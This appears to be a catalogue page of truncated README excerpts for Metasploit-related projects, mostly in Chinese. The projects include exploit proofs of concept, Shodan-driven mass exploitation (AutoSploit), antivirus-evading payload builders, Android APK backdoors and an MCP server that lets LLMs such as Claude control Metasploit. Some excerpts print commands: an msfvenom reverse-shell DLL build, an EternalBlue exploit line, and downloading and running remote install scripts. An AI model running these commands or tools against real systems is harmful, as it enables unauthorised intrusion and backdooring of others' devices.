MetasploitMCP

Metasploit MCP 服务器 用于 Metasploit Framework 集成的 Model Context Protocol MCP 服务器。 https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1 描述 该 MCP 服务器为 Claude 等大语言模型与 Metasploit Framework 渗透测试平台之间搭建了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能，为复杂的安全测试工作流程提供自然语言界面。 功能特性 模块信息...

CVE-2021-40444-POC

CVE-2021-40444-POC 尝试使用 Metasploit Framework 复现 Microsoft MSHTML 远程代码执行（RCE）漏洞。 最好不要在 FlareVM 中运行 准备 从 https://github.com/lockedbyte/CVE-2021-40444 Git 克隆仓库 准备稍后与 msfvenom 一起使用的 .dll 模板 msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 将刚刚生成的 template.dll 复制到仓库中的 tes...

msfconsole-termux

msfconsole-termux 如何在 Android Termux 上安装 Metasploit-Table pkg update apt-get install curl wget -y wget https://raw.githubusercontent.com/jas502n/msfconsole-termux/master/metasploit.sh |chmod 777 metasploit.sh && ./metasploit.sh 示例 msfconsole -q -x "use exploit/windows/smb/ms17010eternalblue;set...

metasploit-framework

Metasploit Framework Metasploit Framework 是一款基于 BSD 风格许可证发布的开源工具。有关详细的许可信息，请参阅 COPYING 文件。 最新版本 从 Nightly Installers 页面获取 Metasploit 的最新版本。 文档 包括使用指南在内的全面文档，可在 Metasploit Docs 找到。 开发环境 要搭建开发环境，请访问 Development Setup Guide。 错误与功能请求 通过 GitHub Issues 跟踪器提交错误和功能请求。新提交可通过 MSF-BUGv1 表单 进行。 API 文档...

mad-metasploit

Metasploit 自定义模块、插件、资源脚本以及……超棒的 metasploit 合集 https://www.hahwul.com/p/mad-metasploit.html 精彩内容 打开 awesome.md 将 mad-metasploit 添加到 Metasploit 框架 1. 配置你的 metasploit-framework 目录 $ vim config/config.rb $metasploitpath = '/opt/metasploit-framework/embedded/framework/' /usr/share/metasploit-framework...

eternal_scanner

ETERNAL SCANNER 2.4 Eternal scanner is an network scanner for Eternal Blue exploit CVE-2017-0144 & Eternal Romance named pipe CVE-2017-0145 . Screenshots 2.2 Version New Implementations Eternal Romance Vulnerability check escan -er Escan Database Splited Results escan -l Video Eternal Scanner 2.0...

AutoSploit

AutoSploit AutoSploit尝试自动化利用远程主机,通过使用Shodan.io API自动收集目标。该程序允许用户输入他们的平台特定的搜索查询，如： Apache、IIS等等，候选者列表将被检索。 完成这个操作后，程序的“Exploit”组件就会通过运行一系列的Metasploit模块来尝试利用这些目标。通过以编程方式将模块的名称与初始搜索查询进行比较来确定将采用哪些Metasploit模块。然而，我已经增加了在“Hail Mary”类型的攻击中针对目标运行所有可用模块的功能。 已经选择了可用的Metasploit模块来促进远程代码执行并尝试获得反向TCP...

KitHack

Kithack 是一个框架，旨在自动化下载和安装各种渗透测试工具的过程，并提供一项特殊功能，允许通过 Metasploit Framework 生成跨平台后门。 警告 已弃用。 与KitHack兼容的发行版： 发行版| 状态 ---|--- Kali Linux| 兼容 Ubuntu| 兼容 Xbuntu| 兼容 Debian| 兼容 Raspbian| 兼容 Deepin| 兼容 Parrot OS| 兼容 Arch Linux| 开发中 Termux| 开发中 安装： 更新你的软件包列表 $ sudo apt update 安装 python3 python3-pip $ sudo...

msfpc

MSFvenom Payload Creator MSFPC 一种通过 msfvenom（Metasploit 框架的一部分）快速生成各种“基本”Meterpreter 有效载荷的工具。 关于 MSFvenom Payload Creator MSFPC 是一个封装工具，用于根据用户选择生成多种类型的有效载荷。其理念是尽可能简单 （只需一个输入 ）来生成有效载荷。 终极目标是完全自动化 msfvenom 和 Metasploit（当然也要能够自动化 MSFPC 本身）。其余部分则是为了让用户的生活尽可能轻松 （例如 IP 选择菜单 、msfconsole 资源文件/命令 、批量生成有效载...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

ASWCrypter

欢迎使用 ASWCrypter 脚本 v1.0 100% FUD 一个 Bash 和 Python 脚本，用于生成绕过所有现有杀毒软件的有效载荷 FUD ; 。 请不要将后门上传到 WWW.VIRUSTOTAL.COM 23/08/2018 重要说明 此版本仅用于测试，未来我将更新 ASWCrypter 以生成适用于 linux、Mac 和 Windows 的有效载荷。 ; 法律免责声明： 作者对滥用此工具不承担任何责任，请记住这仅用于教育目的。 要求 1- Metasploit Framework 2- Python 开始使用 1. git clone...

Penetration-Testing-on-Metasploitable2

Proyecto de Prácticas 2 — Pruebas de Penetración en Metasploitable2 Resumen: Este proyecto demuestra un flujo de trabajo completo de pruebas de penetración: reconocimiento, enumeración, explotación, validación post-explotación y recomendaciones de mitigación. El objetivo utilizado es...

flashsploit

Exploitation Framework for ATtiny85 HID Attacks Twitter - Telegram - Blog Available in Flashsploit is an Exploitation Framework for Attacks using ATtiny85 HID Devices such as Digispark USB Development Board, flashsploit generates Arduino IDE Compatible .ino Scripts based on User Input and then...

nodexp

NodeXP - Detection and Exploitation Tool for Node.js Services! NodeXP is an intergrated tool, written in Python 2.7, capable of detecting possible vulnerabilities on Node.js services as well as exploiting them in an automated way, based on ServerSideJavascriptInjection attack! Getting Started -...

Tools

工具 网络安全工具 SecTools.Org：前125名网络安全工具 SecTools.Org 列表：前125名网络安全工具 - 十多年来，Nmap Project 一直在整理网络安全社区最喜爱的工具。 Kali 工具 Kali 工具列表 - Kali Linux 工具列表。 多范式框架 Metasploit - 用于进攻性安全团队的软件，帮助验证漏洞和管理安全评估。 Armitage - 基于 Java 的 Metasploit Framework GUI 前端。 Faraday - 多用户集成的渗透测试环境，供红队进行协作式渗透测试、安全审计和风险评估。 ExploitPack...

payloadgenerator

PGen PGen 是一个用 Bash 编写的工具，用于通过 MSFvenom（Metasploit 框架的一部分）生成最常用的 Meterpreter 载荷。 关于 PGen 是 MSFvenom 的一个封装，提供了更友好的用户体验来生成多种类型的载荷。我们的目标是将生成载荷的过程尽可能简化，而不是让用户手动查找特定载荷。我们旨在简化初学者的流程，使其在道德黑客或 PWK 中更容易上手，并定制载荷生成体验。PGen 会提示用户输入目标相关信息，并在后台调用 msfvenom 生成载荷。 用户需要提供的信息 1. 平台：windows, linux, osx, android,...

WIndows-7-automated-exploitation-using-metasploit-framework-

Este repositorio no tiene un README...

metasploit_in_termux

Termux 中的 Metasploit Framework 6 如何安装 安装前 为确保 Termux 已更新至最新版本： 在 Android 设置中清除 Termux 的所有数据 卸载并重新安装来自 F-Droid 的最新 Termux 版本（Play 商店版本已过时） 然后启动 Termux 完成初始化，关闭它（强制停止，不要切换） 重新打开并按照以下说明操作 自动安装 source curl -fsSL https://kutt.it/msf 手动安装 pkg install wget wget...

Evil-Droid

Evil-Droid Framework . version 0.3 作者：Mascerano Bachir dev-labs 法律声明： 作者不对该工具的任何不当使用负责，请记住这仅用于教育目的。 描述： Evil-Droid 是一个框架，用于创建、生成和嵌入 APK 载荷以渗透 Android 平台 截图： 依赖： 1 - metasploit-framework 2 - xterm 3 - Zenity 4 - Aapt 5 - Apktool 6 - Zipalign 下载/配置/用法： 1? - 从 GitHub 下载工具 git clone...

viproy-voipkit

Discontinued Viproy was a PoC VoIP security assessment tool which had several modules and exploits to maintain. However, it was developed as a modules set to Metasploit Framework. As Metasploit Framework had significant updates, Viproy's current modules won't be able to work unless you use legacy...